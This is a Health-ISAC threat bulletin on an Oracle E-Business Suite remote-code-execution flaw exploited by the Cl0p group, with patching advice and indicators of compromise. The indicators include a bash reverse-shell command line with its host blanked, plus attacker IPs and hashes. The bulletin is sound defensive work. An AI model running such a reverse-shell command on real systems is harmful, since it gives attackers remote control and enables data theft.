VULNERABILITY BULLETINS

Oracle E-Business Suite Vulnerability (CVE-2025-61882) Exploited in Extortion Attacks

TLP:WHITE

Oct 06, 2025

On October 4, 2025, Oracle released an advisory to address a critical vulnerability, CVE-2025-61882, affecting E-Business Suite (EBS) systems, versions 12.2.3 through 12.2.14.

This flaw allows unauthenticated remote code execution (RCE) and has been confirmed to be actively exploited in the wild by the Cl0p ransomware group to steal sensitive data and conduct subsequent extortion campaigns against multiple corporations. Immediate patching is recommended to prevent compromise of critical business and sensitive data.

Health-ISAC provides this information to increase situational awareness and encourage organizations to assess their level of risk to this vulnerability.

Analysis

The security alert addresses a critical vulnerability found within the Oracle Concurrent Processing product, specifically its BI Publisher Integration component. The flaw has a maximum severity CVSS score of 9.8 and requires no complex attack vector, no privileges, and no user interaction to exploit remotely over a network. The discovery of CVE-2025-61882, was likely prompted by security researchers advising that Cl0p ransomware threat actors

were sending extortion emails to executives of several companies claiming the theft of data from vulnerable EBS infrastructure.

Oracle’s investigation, following disclosure of the extortion campaign, initially linked the malicious activity to the potential exploitation of previously identified vulnerabilities patched in their July 2025 Critical Patch Update (CPU) release. However, further analysis, supported by security researchers, confirmed that multiple flaws were exploited, including both the vulnerabilities addressed in the July 2025 CPU and the newly discovered CVE-2025-61882, which was then urgently patched in their recent security advisory.

Exploiting the security flaw grants an unauthenticated threat actor the ability to achieve remote code execution (RCE) on the underlying EBS infrastructure. The exploitation process involves sending crafted requests to the application, which, if successful, allows the attacker to execute arbitrary commands, potentially including commands to establish a reverse shell connection back to their command-and-control infrastructure. This level of access enables the threat actors to exfiltrate vast quantities of sensitive data, which is then used as leverage in follow-on extortion schemes.

The security flaw specifically impacts versions 12.2.3 through 12.2.14. The security implications of compromising EBS infrastructure can lead to severe impacts, as this suite typically manages an organization's mission-critical data, including financial records, supply chain logistics, human resources information, and proprietary business documents. A successful RCE attack can lead to total system compromise, mass data theft, severe financial and reputational damage from extortion, and potential non-compliance with data protection regulations.

Indicators of Compromise (IOCs)

Indicator
200[.]107[.]207[.]26
185[.]181[.]60[.]11
sh -c /bin/bash -i >& /dev/tcp// 0>&1
76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c7
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b8

Recommendations and Mitigations

Health-ISAC recommends organizations review and assess their level of risk to this vulnerability and implement the following:

- Applying the patch associated with the Oracle Security Alert for CVE-2025-61882 to all affected Oracle E-Business Suite systems (Release 12.2.3 through 12.2.13).
- Reviewing and hardening network security controls to ensure that access to the Oracle E-Business Suite WebUI and other sensitive components is strictly limited to necessary internal networks or trusted VPN connections.
- Implementing enhanced monitoring for any anomalous activity originating from or targeting the EBS infrastructure.
- Additional recommendations include reviewing the Health Industry Cybersecurity Practices (HICP): Managing Threats and Protecting Patients Resources.

Reference(s)	infosecurity-magazine, oracle, bleepingcomputer, bleepingcomputer 1, hhs, securityweek

Threat Indicator(s)

IP(s):

200[.]107[.]207[.]26
185[.]181[.]60[.]11

SHA-256(s):

76b6d36e04e367a2334c445b51e1ecce97e4c614e88dfb4f72b104ca0f31235d
aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121
6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b

Alert ID 57fe958f

This Alert has 3 attachment(s). To view or download the attachment(s), click "View Alert" to login to the web portal.

View Alert

Share Feedback
was this helpful? | |

Tags CVE-2025-61882, Amber Members, E-Business Suite, Oracle

TLP:WHITE Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.

Access the Health-ISAC Threat Intelligence Portal

Enhance your personalized information-sharing community with improved threat visibility, alert notifications, and incident sharing in a trusted environment delivered to you via email and mobile apps. Contact

membership@h-isac.org for access to Health-ISAC Threat Intelligence Portal (HTIP).

For Questions or Comments

Please email us at toc@h-isac.org

Download Health-ISAC's Information Sharing App.

For more updates and alerts, visit: **https://health-isac.cyware.com/webapp/**

If you are not supposed to receive this email,
please contact us at **toc@h-isac.org**.